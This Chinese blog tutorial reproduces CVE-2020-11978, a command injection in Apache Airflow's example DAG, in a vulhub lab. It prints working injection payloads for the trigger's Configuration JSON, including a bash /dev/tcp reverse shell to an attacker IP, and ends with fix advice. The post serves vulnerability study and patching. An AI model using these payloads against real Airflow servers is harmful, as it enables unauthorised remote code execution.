zl程序教程

您现在的位置是:首页 >  其他

当前栏目

(CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】

漏洞注入命令 2020 CVE 复现 靶场 vulhub
2023-09-11 14:22:30 时间


前言

我自从学java工具开发以后,很少接触漏洞复现了,以前还是安服的时候每天都会复现一篇,后面转了方向就没怎么接触漏洞了。就在昨天,一个靓仔带着问题找我,问我会不会Apache Airflow(CVE-2020-11978)这个漏洞,所以,就有了这篇博文,CVE-2020-11978漏洞复现。


提示:以下是本篇文章正文内容,下面案例可供参考

1.漏洞信息补充

Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。

2. 漏洞简介

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

3.影响版本

Apache Airflow <= 1.10.10

4.漏洞复现

一、启动vulhub靶场环境

没有vulhub的就去下一个vulhub,按照步骤来解压安装包就行。如果vulhub版本比较老是没有这个漏洞的,下载一个新的vulhub就行,如下图所示的第二个airflow就是。
在这里插入图片描述
进入CVE-2020-11978文件夹
在这里插入图片描述
输入以下命令启动

docker-compose run airflow-init
docker-compose up -d

在这里插入图片描述
访问漏洞地址:http://127.0.0.1:8080 即可

由于在虚拟机里操作不方便,在虚拟机ifconfig命令获取到ip地址是192.168.25.130,用这个ip替换127.0.0.1即可在本地的浏览器访问,如下所示:
在这里插入图片描述

注意!由于漏洞环境比较大,启动的时间很慢,并不是一下子就能访问到的,具体等待多久我是不清楚的,我是前一天晚上启动了环境,发现无法访问8080端口,睡了一觉起来后,才能访问的,所以不要着急,环境启动完需要耐心等待,可以先去做别的事情。

二、命令执行

访问http://192.168.25.130:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。
在这里插入图片描述
进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。
在这里插入图片描述
在Configuration JSON中输入:

{"message":"'\";touch /tmp/what_the_fuck;#"}

再点击Trigger执行dag。
等几秒可以看到执行成功。
在这里插入图片描述
显示success,说明成功。

在这里插入图片描述
进入容器查看目录,发现成功创建/tmp/what_the_fuck文件,漏洞复现成功。

docker-compose exec airflow-worker bash

在这里插入图片描述

三、NC反弹shell

上面既然能用touch创建文件了,那么反弹一个shell回来,问题也不大,接下来看操作。

攻击机192.168.230.234开启nc,监听9999端口。
在这里插入图片描述
在Configuration JSON中输入:

{"message":"'\";bash -i >& /dev/tcp/192.168.230.234/9999 0>&1;#"}

{“message”:“'”;;#"},再点击Trigger执行dag。
在这里插入图片描述
成功反弹shell,可以命令执行了。
在这里插入图片描述

5. 修复建议

1、升级到1.10.10之后版本
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)


总结

漏洞复现故而简单,但是其中的原理还是有点迷糊,建议大家在复现漏洞的同时,还要搞懂其中的原理。

    文章原创,欢迎转载,请注明文章出处: (CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。